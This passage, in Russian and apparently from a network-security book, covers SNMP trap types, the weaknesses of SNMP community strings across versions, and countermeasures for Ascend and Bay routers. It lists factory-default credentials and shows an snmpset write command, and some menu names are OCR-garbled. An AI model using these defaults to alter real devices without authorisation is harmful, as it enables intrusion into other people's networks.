    • 4 (Authenticationfailure) – менеджер прислал мессадж с неверной строкой community;
    • 5 (EGPneighborloss) – затрудняюсь что либо сказать);
    • 6 (Entrprisespecific) – данный тип Trap сообщает о том, что в следующем поле содержится специализированный для данного вендора тип трапа.
  • Специализированный тип Trap;
  • Метка времени – содержит метку времени с момента события (непонятно, относительно чего эта метка…).

Протокол SNMP (Simple Network Management Protocol) предназначен для облегчения работы администратора по управлению устройствами сети. Однако огромной проблемой протокола SNMP версии 1 (SNMPv1) всегда была абсолютная незащищенность узла, на котором работали средства поддержки этого протокола. В исходной версии использовался только один механизм обеспечения безопасности, основанный на использовании специальных паролей, называемых строками доступа (community string ).

В ответ на жалобы о наличии слабых мест в системе обеспечения безопасности была быстро разработана значительно улучшенная версия SNMP (SNMFV2). В этой версии для аутентификации сообщений, передаваемых между серверами и клиентами SNMP, используется алгоритм хэширования MD5. Это позволяет обеспечить как целостность пересылаемых данных, так и возможность проверки их подлинности. Кроме того, SNMPv2 допускает шифрование передаваемых данных. Это ограничивает возможности злоумышленников по прослушиванию трафика сети и получению строк доступа. Однако в то же время ничто не мешает администраторам использовать на маршрутизаторах простейшие пароли.

Третья версия протокола SNMP (SNMPv3) является текущим стандартом и позволяет достичь необходимого уровня безопасности устройств, но его принятие, по-видимому, затянется на довольно длительное время. Достаточно изучить типичную сеть, чтобы убедиться в том, что большинство устройств работает под управлением даже не SNMPv2, а SNMPv1! Более подробная информация о протоколе SNMPv3 находится по адресу http://www.ietf.org/html.charters/snmpv3-charter.html . Однако ни одна из версий протокола SNMP не ограничивает возможности использования администраторами строк доступа, предлагаемых разработчиками. Как правило, для них устанавливаются легко угадываемые пароли, которые хорошо известны всем, кто хоть немного интересуется подобными вопросами.

Еще хуже то, что во многих организациях протокол SNMP практически не учитывается в реализуемой политике безопасности. Возможно, это происходит из-за того, что протокол SNMP работает поверх UDP (который, как правило, отсутствует в стеке протоколов), или потому, что о его возможностях известно лишь немногим администраторам. В любом случае необходимо констатировать, что вопросы обеспечения безопасности при использовании протокола SNMP часто ускользают из поля зрения, что нередко дает возможность взломщикам проникнуть в сеть.

Однако перед тем, как перейти к подробному рассмотрению изъянов протокола SNMP, давайте кратко познакомимся с основными понятиями, которые с ним связаны. Строки доступа могут быть одного из двух типов - позволяющие только чтение (тип read) и позволяющие как чтение, так и запись (read/write). При использовании строк доступа SNMP, позволяющих только чтение, можно лишь просматривать сведения о конфигурации устройства, такие как описание системы, TCP - и UDP-соединения, сетевые адаптеры и т.д. Строки доступа, предоставляющие права чтения и записи, обеспечивают администратору (и, конечно, злоумышленнику) возможность записывать информацию в устройство. Например, с использованием всего одной команды SNMP администратор может изменить контактную системную информацию, snmpset 10.12.45.2 private.1.3.6.1.2.1.1 s Smith.

Маршрутизаторы Ascend

По умолчанию маршрутизаторы Ascend обеспечивают доступ по протоколу SNMP с помощью строк доступа public (для чтения - read ) и write для чтения и записи - read/write ). Изъян в системе защиты, связанный с SNMP-доступом для чтения и записи, впервые был обнаружен специалистами из Network Associates. Inc.

Контрмеры: защита маршрутизаторов Ascend

Для того чтобы изменить установленные по умолчанию строки доступа на маршрутизаторе Ascend, просто воспользуйтесь командой меню Ethernet › ModConflg › SNMP Options .

Маршрутизаторы Bay

Маршрутизаторы компании Bay NT по умолчанию предоставляют доступ по протоколу SNMP, контролируемый на уровне пользователей как для чтения, так и для записи. Для того чтобы воспользоваться этой возможностью, достаточно попытаться использовать установленное по умолчанию пользовательское имя User без пароля. В командной строке маршрутизатора введите команду:

Show snmp comm types

Эта команда позволяет просматривать имеющиеся строки доступа. То же самое с помощью диспетчера Site Manager может проделать любой пользователь (команда меню Protocols › IP › SNMP › Communities ).

Контрмеры: защита маршрутизаторов Bay

В диспетчере Site Manager , который входит в состав программного обеспечения маршрутизаторов компании Bay Networks, выберите команду меню Protocols › IlP1 › SNMPoCommunities . После этого выберите команду Community › Edit Community и измените строки доступа.

Контрмеры: защита SNMP

Если вы разрешаете осуществлять SNMP-доступ через пограничный брандмауэр к какому-либо одному устройству, а в использовании протокола SNMP для доступа к остальным узлам сети нет острой необходимости, то можно просто внести соответствующие ограничения в список ACL маршрутизатора.

Access-list 101 deny udp any any eq 161 log!